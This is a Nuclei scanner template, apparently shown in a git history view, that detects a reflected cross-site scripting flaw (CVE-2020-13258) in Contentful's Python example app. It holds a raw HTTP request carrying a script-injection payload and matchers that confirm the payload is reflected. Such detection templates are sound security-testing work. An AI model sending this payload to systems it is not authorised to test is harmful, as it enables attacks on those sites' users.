nuclei-templates/http/cves/2020/CVE-2020-13258.yaml

52 lines
1.8 KiB
YAML
Raw Normal View History

2022-01-07 02:49:47 +00:00
id: CVE-2020-13258
info:
name: Contentful <=2020-05-21 - Cross-Site Scripting
2022-01-07 02:49:47 +00:00
author: pikpikcu
severity: medium
2022-09-08 10:39:45 +00:00
description: |
Contentful through 2020-05-21 for Python contains a reflected cross-site scripting vulnerability via the api parameter to the-example-app.py.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade Contentful to a version that is not vulnerable to CVE-2020-13258 or apply the necessary patches provided by the vendor.
2022-09-08 10:39:45 +00:00
reference:
- https://github.com/contentful/the-example-app.py/issues/44
- https://nvd.nist.gov/vuln/detail/CVE-2020-13258
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-13258
cwe-id: CWE-79
epss-score: 0.00464
epss-percentile: 0.72797
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:contentful:python_example:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: contentful
product: python_example
tags: cve,cve2020,contentful,xss
2022-01-07 07:34:40 +00:00
http:
2022-01-07 07:34:40 +00:00
- raw:
- |
2022-09-08 10:39:45 +00:00
GET /?cda'"</script><script>alert(document.domain)</script>&locale=locale=de-DE HTTP/1.1 HTTP/1.1
2022-01-07 07:34:40 +00:00
Host: {{Hostname}}
2022-01-07 02:49:47 +00:00
2022-09-08 10:39:45 +00:00
matchers-condition: and
2022-01-07 02:49:47 +00:00
matchers:
- type: word
words:
2022-09-08 10:39:45 +00:00
- "{'api': '"
2022-09-08 10:41:35 +00:00
- "</script><script>alert(document.domain)</script>',"
2022-09-08 10:39:45 +00:00
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100f3c0a0613ee1558cb1841d10599e720eb8c45c4bd8f0cc3b838260173f3eb8ae022008937a293b34c7a751c62c7a539b435020c9a87a783093b3bb65d3ed63e33a13:922c64590222798bb761d5b6d8e72950